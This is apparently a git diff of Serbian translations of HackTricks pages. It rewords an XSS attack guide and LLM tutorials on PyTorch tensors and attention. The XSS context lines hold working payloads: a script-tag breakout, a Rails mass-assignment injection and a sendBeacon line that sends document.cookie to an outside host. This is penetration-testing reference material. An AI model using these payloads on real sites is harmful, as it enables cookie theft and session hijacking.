@ -432,7 +432,7 @@ Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Mož
|
|||
|
||||
### Obilaženje crne liste
|
||||
|
||||
Nekoliko trikova sa korišćenjem različitih kodiranja je već izloženo unutar ovog odeljka. Vratite se **da naučite gde možete koristiti:**
|
||||
Nekoliko trikova sa korišćenjem različitih kodiranja je već izloženo unutar ove sekcije. Vratite se **da naučite gde možete koristiti:**
|
||||
|
||||
* **HTML kodiranje (HTML tagovi)**
|
||||
* **Unicode kodiranje (može biti validan JS kod):** `\u0061lert(1)`
|
||||
|
@ -442,11 +442,11 @@ Nekoliko trikova sa korišćenjem različitih kodiranja je već izloženo unutar
|
|||
|
||||
**Obilaženje za HTML tagove i atribute**
|
||||
|
||||
Pročitajte [Obilaženje crne liste iz prethodnog odeljka](./#blacklist-bypasses).
|
||||
Pročitajte [Obilaženje crne liste iz prethodne sekcije](./#blacklist-bypasses).
|
||||
|
||||
**Obilaženje za JavaScript kod**
|
||||
|
||||
Pročitajte [crnu listu obilaženja JavaScript-a iz sledećeg odeljka](./#javascript-bypass-blacklists-techniques).
|
||||
Pročitajte [crnu listu obilaženja za JavaScript iz sledeće sekcije](./#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
|
@ -454,7 +454,7 @@ Ako ste pronašli **XSS u veoma malom delu** veba koji zahteva neku vrstu intera
|
|||
|
||||
Na primer, mogli biste dodati neki stil u element kao što je: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
Ali, ako WAF filtrira atribut stila, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer
|
||||
Ali, ako WAF filtrira stil atribut, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
|
@ -478,7 +478,7 @@ Ako je vaš kod umetnut unutar `<script> [...] var input = 'reflektovani podaci'
|
|||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Napomena da u ovom primeru **nismo ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije.
|
||||
Napomena da u ovom primeru **nismo ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a za razumevanje i izvršavanje ugrađenih skripti se vrši tek kasnije.
|
||||
|
||||
### Unutar JS koda
|
||||
|
||||
|
@ -490,8 +490,8 @@ Ako se `<>` sanitizuju, još uvek možete **pobeći string** gde se vaš unos **
|
|||
```
|
||||
### Template literals \`\`
|
||||
|
||||
Da biste konstruisali **stringove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
|
||||
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
|
||||
Da biste konstruisali **stringove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **obrnute navodnike** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
|
||||
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi obrnute navodnike, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
|
||||
|
||||
Ovo se može **zloupotrebiti** koristeći:
|
||||
```javascript
|
||||
|
@ -779,12 +779,12 @@ Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane**
|
|||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
Zbog **RoR masovne dodeljivanje** navodnici se ubacuju u HTML, a zatim se zaobilazi ograničenje navodnika i dodatna polja (onfocus) mogu biti dodata unutar taga.\
|
||||
Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se zaobilazi ograničenje citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\
|
||||
Primer forme ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
```
|
||||
Par "Ključ","Vrednost" će biti vraćen ovako:
|
||||
Par "Ključ","Vrednost" će biti vraćen nazad ovako:
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
|
@ -822,7 +822,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS sa injekcijom zaglavlja u 302 odgovoru
|
||||
|
||||
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
|
||||
Ako otkrijete da možete **injektovati zaglavlja u 302 preusmeravajućem odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
|
||||
|
||||
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
|
||||
Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
|
||||
|
@ -866,7 +866,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
<script type="???"></script>
|
||||
```
|
||||
* **modul** (podrazumevano, nema potrebe za objašnjenjem)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da pakujete gomilu podataka (HTML, CSS, JS…) zajedno u **`.wbn`** datoteku.
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles je funkcija koja vam omogućava da pakujete skup podataka (HTML, CSS, JS…) zajedno u **`.wbn`** datoteku.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
|
@ -924,7 +924,7 @@ Ovo ponašanje je korišćeno u [**ovoj analizi**](https://github.com/zwade/yaca
|
|||
* application/rss+xml (isključeno)
|
||||
* application/atom+xml (isključeno)
|
||||
|
||||
U drugim pregledačima drugi **`Content-Types`** mogu se koristiti za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
U drugim pregledačima mogu se koristiti drugi **`Content-Types`** za izvršavanje proizvoljnog JS, proverite: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
|
||||
|
@ -1115,7 +1115,7 @@ Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite
|
|||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly oznaka postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/#httponly) ako imate sreće.
|
||||
Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly zastavica postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/#httponly) ako imate sreće.
|
||||
{% endhint %}
|
||||
|
||||
### Ukradi sadržaj stranice
|
||||
|
@ -1265,7 +1265,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
|
||||
### Slepi XSS payloadi
|
||||
### Slepe XSS payload-ovi
|
||||
|
||||
Takođe možete koristiti: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
|
@ -1444,9 +1444,9 @@ Find **više SVG payloads u** [**https://github.com/allanlw/svg-cheatsheet**](ht
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poljski pisano i govorno potrebno_).
|
||||
If you are interested in **hacking karijeri** and hack the unhackable - **zapošljavamo!** (_tečno pisanje i govorenje poljskog jezika je obavezno_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -1456,11 +1456,11 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Podrška HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**planovi pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) or the [**telegram grupi**](https://t.me/peass) or **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -41,14 +41,14 @@ U PyTorch-u, **tenzor** je osnovna struktura podataka koja služi kao višedimen
|
|||
|
||||
### Tenzori kao kontejneri podataka
|
||||
|
||||
Sa računarske tačke gledišta, tenzori deluju kao kontejneri za višedimenzionalne podatke, gde svaka dimenzija može predstavljati različite karakteristike ili aspekte podataka. Ovo čini tenzore veoma pogodnim za rukovanje složenim skupovima podataka u zadacima mašinskog učenja.
|
||||
Iz računarske perspektive, tenzori deluju kao kontejneri za višedimenzionalne podatke, gde svaka dimenzija može predstavljati različite karakteristike ili aspekte podataka. Ovo čini tenzore veoma pogodnim za rukovanje složenim skupovima podataka u zadacima mašinskog učenja.
|
||||
|
||||
### PyTorch tenzori vs. NumPy nizovi
|
||||
|
||||
Iako su PyTorch tenzori slični NumPy nizovima u svojoj sposobnosti da čuvaju i manipulišu numeričkim podacima, nude dodatne funkcionalnosti koje su ključne za duboko učenje:
|
||||
|
||||
* **Automatska diferencijacija**: PyTorch tenzori podržavaju automatsko izračunavanje gradijenata (autograd), što pojednostavljuje proces izračunavanja derivata potrebnih za obuku neuronskih mreža.
|
||||
* **GPU akceleracija**: Tenzori u PyTorch-u mogu se premestiti i izračunati na GPU-ima, značajno ubrzavajući velike proračune.
|
||||
* **GPU akceleracija**: Tenzori u PyTorch-u mogu se premestiti na i izračunati na GPU-ima, značajno ubrzavajući velike proračune.
|
||||
|
||||
### Kreiranje tenzora u PyTorch-u
|
||||
|
||||
|
@ -132,17 +132,17 @@ U srcu automatske diferencijacije je **pravilo lanca** iz kalkulusa. Pravilo lan
|
|||
|
||||
Matematički, ako je `y=f(u)` i `u=g(x)`, tada je derivat `y` u odnosu na `x`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Računarska Grafika**
|
||||
|
||||
U AD, proračuni su predstavljeni kao čvorovi u **računarskoj grafici**, gde svaki čvor odgovara operaciji ili varijabli. Prolaskom kroz ovu grafiku, možemo efikasno izračunati derivate.
|
||||
U AD, proračuni su predstavljeni kao čvorovi u **računarskoj grafici**, gde svaki čvor odgovara operaciji ili varijabli. Prelazeći ovu grafiku, možemo efikasno izračunati derivate.
|
||||
|
||||
3. Primer
|
||||
|
||||
Razmotrimo jednostavnu funkciju:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Gde:
|
||||
|
||||
|
|
|
@ -11,7 +11,7 @@ Za ovo se koristi mnogo slojeva, tako da će mnogo parametara za obuku hvatati o
|
|||
|
||||
### Razumevanje mehanizama pažnje
|
||||
|
||||
U tradicionalnim modelima sekvenca-za-sekvencu koji se koriste za prevođenje jezika, model kodira ulaznu sekvencu u vektorski kontekst fiksne veličine. Međutim, ovaj pristup se suočava sa problemima sa dugim rečenicama jer fiksni vektorski kontekst možda neće uhvatiti sve potrebne informacije. Mehanizmi pažnje rešavaju ovo ograničenje omogućavajući modelu da razmatra sve ulazne tokene prilikom generisanja svakog izlaznog tokena.
|
||||
U tradicionalnim modelima sekvenca-sekvenca koji se koriste za prevođenje jezika, model kodira ulaznu sekvencu u vektoru konteksta fiksne veličine. Međutim, ovaj pristup se suočava sa problemima sa dugim rečenicama jer fiksni vektor konteksta možda neće uhvatiti sve potrebne informacije. Mehanizmi pažnje rešavaju ovo ograničenje omogućavajući modelu da razmatra sve ulazne tokene prilikom generisanja svakog izlaznog tokena.
|
||||
|
||||
#### Primer: Mašinsko prevođenje
|
||||
|
||||
|
@ -40,10 +40,10 @@ Naš cilj je da izračunamo **vektor konteksta** za reč **"shiny"** koristeći
|
|||
#### Korak 1: Izračunavanje rezultata pažnje
|
||||
|
||||
{% hint style="success" %}
|
||||
Jednostavno pomnožite svaku dimenzionalnu vrednost upita sa relevantnom vrednošću svakog tokena i saberite rezultate. Dobijate 1 vrednost po paru tokena.
|
||||
Samo pomnoži svaku dimenzionalnu vrednost upita sa relevantnom vrednošću svakog tokena i saberi rezultate. Dobijaš 1 vrednost po paru tokena.
|
||||
{% endhint %}
|
||||
|
||||
Za svaku reč u rečenici, izračunajte **rezultat pažnje** u odnosu na "shiny" izračunavanjem skalarne produkcije njihovih umetanja.
|
||||
Za svaku reč u rečenici, izračunaj **rezultat pažnje** u odnosu na "shiny" izračunavanjem skalarne produkcije njihovih umetanja.
|
||||
|
||||
**Rezultat pažnje između "Hello" i "shiny"**
|
||||
|
||||
|
@ -51,7 +51,7 @@ Za svaku reč u rečenici, izračunajte **rezultat pažnje** u odnosu na "shiny"
|
|||
|
||||
**Rezultat pažnje između "shiny" i "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Rezultat pažnje između "sun" i "shiny"**
|
||||
|
||||
|
@ -60,12 +60,12 @@ Za svaku reč u rečenici, izračunajte **rezultat pažnje** u odnosu na "shiny"
|
|||
#### Korak 2: Normalizacija rezultata pažnje da bi se dobile težine pažnje
|
||||
|
||||
{% hint style="success" %}
|
||||
Ne gubite se u matematičkim terminima, cilj ove funkcije je jednostavan, normalizujte sve težine tako da **se ukupno saberu na 1**.
|
||||
Ne gubi se u matematičkim terminima, cilj ove funkcije je jednostavan, normalizuj sve težine tako da **ukupno sumiraju 1**.
|
||||
|
||||
Pored toga, **softmax** funkcija se koristi jer naglašava razlike zbog eksponencijalnog dela, olakšavajući prepoznavanje korisnih vrednosti.
|
||||
{% endhint %}
|
||||
|
||||
Primeni **softmax funkciju** na rezultate pažnje da bi ih pretvorio u težine pažnje koje se saberu na 1.
|
||||
Primeni **softmax funkciju** na rezultate pažnje da bi ih pretvorio u težine pažnje koje se sabiraju na 1.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -84,7 +84,7 @@ Izračunavanje težina pažnje:
|
|||
#### Korak 3: Izračunavanje vektora konteksta
|
||||
|
||||
{% hint style="success" %}
|
||||
Jednostavno uzmite svaku težinu pažnje i pomnožite je sa dimenzijama relevantnog tokena, a zatim saberite sve dimenzije da dobijete samo 1 vektor (vektor konteksta) 
|
||||
Samo uzmi svaku težinu pažnje i pomnoži je sa dimenzijama relevantnog tokena, a zatim saberi sve dimenzije da bi dobio samo 1 vektor (vektor konteksta) 
|
||||
{% endhint %}
|
||||
|
||||
**Vektor konteksta** se izračunava kao ponderisana suma umetanja svih reči, koristeći težine pažnje.
|
||||
|
@ -103,7 +103,7 @@ Izračunavanje svake komponente:
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Saberanje ponderisanih umetanja:
|
||||
Sabiranje ponderisanih umetanja:
|
||||
|
||||
`vektor konteksta=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
||||
|
||||
|
@ -111,19 +111,19 @@ Saberanje ponderisanih umetanja:
|
|||
|
||||
### Sažetak procesa
|
||||
|
||||
1. **Izračunajte rezultate pažnje**: Koristite skalarni proizvod između umetanja ciljne reči i umetanja svih reči u sekvenci.
|
||||
2. **Normalizujte rezultate da biste dobili težine pažnje**: Primeni softmax funkciju na rezultate pažnje da biste dobili težine koje se saberu na 1.
|
||||
3. **Izračunajte vektor konteksta**: Pomnožite umetanje svake reči sa njenom težinom pažnje i saberite rezultate.
|
||||
1. **Izračunaj rezultate pažnje**: Koristi skalarni proizvod između umetanja ciljne reči i umetanja svih reči u sekvenci.
|
||||
2. **Normalizuj rezultate da bi dobio težine pažnje**: Primeni softmax funkciju na rezultate pažnje da bi dobio težine koje se sabiraju na 1.
|
||||
3. **Izračunaj vektor konteksta**: Pomnoži umetanje svake reči sa njenom težinom pažnje i saberi rezultate.
|
||||
|
||||
## Samopažnja sa težinama koje se mogu obučavati
|
||||
|
||||
U praksi, mehanizmi samopažnje koriste **težine koje se mogu obučavati** da nauče najbolje reprezentacije za upite, ključeve i vrednosti. Ovo uključuje uvođenje tri matrice težina:
|
||||
U praksi, mehanizmi samopažnje koriste **težine koje se mogu obučavati** da bi naučili najbolje reprezentacije za upite, ključeve i vrednosti. Ovo uključuje uvođenje tri matrice težina:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
Upit je podatak koji se koristi kao i ranije, dok su matrice ključeva i vrednosti samo nasumične matrice koje se mogu obučavati.
|
||||
|
||||
#### Korak 1: Izračunavanje upita, ključeva i vrednosti
|
||||
#### Korak 1: Izračunaj upite, ključeve i vrednosti
|
||||
|
||||
Svaki token će imati svoju matricu upita, ključeva i vrednosti množenjem svojih dimenzionalnih vrednosti sa definisanim matricama:
|
||||
|
||||
|
@ -138,7 +138,7 @@ Pretpostavljajući:
|
|||
* Ulazna dimenzija `din=3` (veličina umetanja)
|
||||
* Izlazna dimenzija `dout=2` (željena dimenzija za upite, ključeve i vrednosti)
|
||||
|
||||
Inicijalizujte matrice težina:
|
||||
Inicijalizuj matrice težina:
|
||||
```python
|
||||
import torch.nn as nn
|
||||
|
||||
|
@ -225,7 +225,7 @@ sa_v2 = SelfAttention_v2(d_in, d_out)
|
|||
print(sa_v2(inputs))
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Napomena da se umesto inicijalizacije matrica sa slučajnim vrednostima, koristi `nn.Linear` da se označe sve težine kao parametri za obuku.
|
||||
Napomena da se umesto inicijalizacije matrica nasumičnim vrednostima, koristi `nn.Linear` da označi sve težine kao parametre za obuku.
|
||||
{% endhint %}
|
||||
|
||||
## Uzročna Pažnja: Sakrivanje Budućih Reči
|
||||
|
@ -234,7 +234,7 @@ Za LLM-ove želimo da model uzima u obzir samo tokene koji se pojavljuju pre tre
|
|||
|
||||
### Primena Maski za Uzročnu Pažnju
|
||||
|
||||
Da bismo implementirali uzročnu pažnju, primenjujemo masku na rezultate pažnje **pre softmax operacije** tako da preostali rezultati i dalje zbrajaju 1. Ova maska postavlja rezultate pažnje budućih tokena na negativnu beskonačnost, osiguravajući da nakon softmax-a, njihove težine pažnje budu nula.
|
||||
Da bismo implementirali uzročnu pažnju, primenjujemo masku na rezultate pažnje **pre softmax operacije** tako da preostali rezultati i dalje zbrajaju 1. Ova maska postavlja rezultate pažnje budućih tokena na negativnu beskonačnost, osiguravajući da nakon softmax-a, njihova težina pažnje bude nula.
|
||||
|
||||
**Koraci**
|
||||
|
||||
|
@ -253,7 +253,7 @@ attention_weights = torch.softmax(masked_scores, dim=-1)
|
|||
|
||||
### Maskiranje Dodatnih Težina Pažnje sa Dropout-om
|
||||
|
||||
Da bismo **sprečili prekomerno prilagođavanje**, možemo primeniti **dropout** na težine pažnje nakon softmax operacije. Dropout **slučajno postavlja neke od težina pažnje na nulu** tokom obuke.
|
||||
Da bismo **sprečili prekomerno prilagođavanje**, možemo primeniti **dropout** na težine pažnje nakon softmax operacije. Dropout **nasumično postavlja neke od težina pažnje na nulu** tokom obuke.
|
||||
```python
|
||||
dropout = nn.Dropout(p=0.5)
|
||||
attention_weights = dropout(attention_weights)
|
||||
|
@ -412,7 +412,7 @@ Za još jednu kompaktno i efikasnu implementaciju možete koristiti [`torch.nn.M
|
|||
{% hint style="success" %}
|
||||
Kratak odgovor ChatGPT-a o tome zašto je bolje podeliti dimenzije tokena među glavama umesto da svaka glava proverava sve dimenzije svih tokena:
|
||||
|
||||
Iako bi omogućavanje svakoj glavi da obrađuje sve dimenzije ugrađivanja moglo izgledati korisno jer bi svaka glava imala pristup punim informacijama, standardna praksa je da se **podele dimenzije ugrađivanja među glavama**. Ovaj pristup balansira računarsku efikasnost sa performansama modela i podstiče svaku glavu da uči raznolike reprezentacije. Stoga je deljenje dimenzija ugrađivanja generalno poželjnije od toga da svaka glava proverava sve dimenzije.
|
||||
Iako omogućavanje svakoj glavi da obrađuje sve dimenzije ugrađivanja može delovati korisno jer bi svaka glava imala pristup punim informacijama, standardna praksa je da se **podele dimenzije ugrađivanja među glavama**. Ovaj pristup balansira računarsku efikasnost sa performansama modela i podstiče svaku glavu da uči raznolike reprezentacije. Stoga, deljenje dimenzija ugrađivanja se generalno preferira u odnosu na to da svaka glava proverava sve dimenzije.
|
||||
{% endhint %}
|
||||
|
||||
## References
|
||||
|
|